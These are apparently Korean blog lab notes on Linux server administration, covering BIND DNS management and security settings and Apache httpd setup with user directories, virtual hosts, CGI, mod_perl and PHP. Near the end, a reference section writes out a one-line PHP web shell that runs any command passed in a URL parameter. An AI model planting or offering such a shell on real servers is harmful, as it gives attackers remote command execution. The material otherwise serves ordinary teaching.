DNS

 

 

 

 

[실습8] RNDC 실습

# rpm -ql bind | egrep rndc

 

실행

# rndc-confgen 명령어를 수행해 출력되는 키를 확인해

하나의 내용은서버에 # vi /etc/named.conf

하나의 출력내용은 클라이언트 파일에 # vi /etc/rndc.conf

# systemctl restart named

 

# rndc status : 현재 동작중인 상태 정보 확인

# rndc stats ; cd /var/named/data && ls : DNS 서버 현재 통계 정보 확인

# rndc reload

 

 

 

 

 

 

[실습9] allow update / nsupdate CMD (보안에서 필요한 설정)

* nsupdate CMD

DNS 서버의 zone 데이터를 명령어를 사용하여 업데이트 및 관리 할 수 있는 명령어

* allow-update 지시자

(DNS Server) nsupdate 명령어를 허용할 IP를 지정

 

 

 

 

 

[실습10] allow-transfer (보안상 필요한 커맨드)

* allow-transfer 지시자

(Master DNS Server) Zone Data Transfer를 할 수 있는 Slave DNS 서버의 IP

 

 

 

 

 

 

DNS 서버 설정 및 보안 점검

krnic.or.kr > 도메인네임시스템 > DNS 자가점검

* chroot 구성

(ㄱ) # yum install bind-chroot

(ㄴ) docker

* allow-transfer, allow-query

* 최신 취약점 점검

# yum update bind

* 인증방식 + 데이터 암호화 : DNSSEC

 

[관리]

* DNS 통계 모니터링

 

 

http://sourceforge.net/projects/dnsgraph

 

 

 

 

 

 


 

 

 

 

 

4. WEB Server(EX: Apache)

 

* apache httpd

* ngnix

* IIS

 

 

 

 

■ Apache Web Server on CentOS 7.X

---------------------------------

● Program: httpd, mod_ssl + mod_perl(epel), php

● Daemon & Port & Protocol: httpd, 80(TCP), 443(TCP)

● Configuration File(s): /etc/httpd/conf/httpd.conf

● Sub Configuration File(s): /etc/httpd/conf.d/*.conf

/etc/httpd/conf.modules.d/*.conf

● Service: httpd.service

---------------------------------

● 추가 정리 부분은 : 기능

---------------------------------

 

 

 

 

 

[실습1] 간단한 웹서버 구축

# yum -y install httpd mod_ssl

# vi /etc/httpd/conf/httpd.conf

ServerAdmin webmaster@linux2XX.example.com

ServerName www.linux2XX.example.com:80

# echo "Welcome To MyServer" > /var/www/html/index.html

# systemctl enable httpd

# systemctl restart httpd

 

 

 

 

 

[실습2] 웹클라언트 툴

* (GUI) firefox

# firefox http://www.example.com &

* (TUI) curl/lynx CMD

# curl -k http://www.example.com

# lynx http://www.example.com (# yum install lynx)

* (CLI) telnet/nc CMD

# telnet www.example.com 80

GET / HTTP/1.0

<ENTER>

 

 

 

 

[실습3] 사용자 웹페이지 구성

* http://www.example.com

-> /var/www/html/index.html

* http://www.example.com/~user01

-> /home/user01/public_html/index.html

 

# su - user01

$ chmod 755 /home/user01

$ mkdir public_html

$ echo 'Web Page for user01' > public_html/index.html

$ exit

# vi /etc/httpd/conf.d/userdir.conf

UserDir public_html

# systemctl restart httpd

# firefox http://www.linux2XX.example.com/~user01 &

 

 

 

 

 

[실습4] Alias 설정(EX: 웹 가상 디렉토리)

* 웹 가상디렉토리

* 웹 물리디렉토리

 

 

(웹 가상디렉토리)

# vi /etc/httpd/conf.d/autoindex.html

Alias /user01/ "/home/user01/public_html/"

# systemctl restart httpd

# firefox http://www.linux2XX.example.com/user01/ &

 

 

(웹 물리디렉토리)

# grep DocumentRoot /etc/httpd/conf/httpd.conf

# mkdir -p /var/www/html/user100

# echo 'hello world' > /var/www/html/user100/index.html

# firefox http://www.linux2XX.example.com/user100/ &

 

 

 

 

 

 

[실습5] httpd

# httpd -h

# httpd -t

# httpd -t -f httpd.example.conf

# httpd -v

# httpd -S

# httpd -M | egrep 'userdir|ssl|cgi'

 

 

 

 

 

[실습6] 가상호스트 + CGI 설정

# mkdir -p /www1

# vi /www1/index.html

<center><h1>/www1 (linux1XX:/www1)</h1></center>

# vi /etc/httpd/conf.d/vhost.conf

<VirtualHost *:80>

DocumentRoot /www1

ServerName www.linux249.example.com

ServerAlias linux249.example.com

<Directory /www1>

Options Indexes Includes

Require all granted

</Directory>

ScriptAlias /cgi-bin/ /www1/cgi-bin/

</VirtualHost>

# httpd -t

 

# mkdir -p /www1/cgi-bin

# vi /www1/cgi-bin/test.cgi

-------------------------------------

#!/bin/bash

echo "Content-Type: text/html"

echo "<pre>"

CMD

echo "</pre>"

-------------------------------------

# chmod +555 /www1/cgi-bin/test.cgi

# systemctl restart httpd

# firefox http://www.linux2XX.example.com &

# firefox http://www.linux2XX.example.com/cgi-bin/test.cgi &

 

 

 

 

[참고] 서버 요청시 에러 메세지(Response Code)

* 200 OK

* 403 Forbidden

* 404 Not Found

* 500 Internal Server Error

 

 

 

 

 

[실습7] perl 스크립트 사용(perl + mod_perl)

# yum install epel-release

# yum install mod_perl

# vi /etc/httpd/conf.d/perl.conf /* 기존 라인의 주석 제거 해서 사용 */

Alias /perl /var/www/perl

<Directory /var/www/perl>

SetHandler perl-script

PerlResponseHandler ModPerl::Registry

PerlOptions +ParseHeaders

Options +ExecCGI

</Directory>

# mkdir -p /var/www/perl

# vi /var/www/perl/test.pl

-----------------------------------

#!/usr/bin/perl

 

use strict;

print "Content-Type: text/html; charset=ISO-8859-1\n\n";

print "<HTML><BODY><H1><CENTER>";

print "The current Perl time is:<BR>";

print scalar localtime();

print "</CENTER></H1></BODY></HTML>"

-----------------------------------

# chmod 555 /var/www/perl/test.pl

# firefox http://www.linux2XX.example.com/perl/test.pl

 

 

(복원) epel disable

# vi /etc/yum.repos.d/epel.repo

enabled=0

# yum --enablerepo=epel install mod_perl

 

 

 

 

 

[실습8] PHP 스크립트 사용

# yum -y install php

# view /etc/httpd/conf.d/php.conf

# vi /www1/test.php

-------------------------------------

<?php phpinfo(); ?>

-------------------------------------

# firefox http://www.linux2XX.example.com/test.php

 

 

 

[참고] One Line Web Shell

# vi /www1/cmd.php

-------------------------------------

<pre>

<?php echo shell_exec($_GET['cmd']); ?>

</pre>

-------------------------------------

# firefox &

http://www.linux2XX.example.com/cmd.php?cmd=CMD

 

 

 

 

728x90

+ Recent posts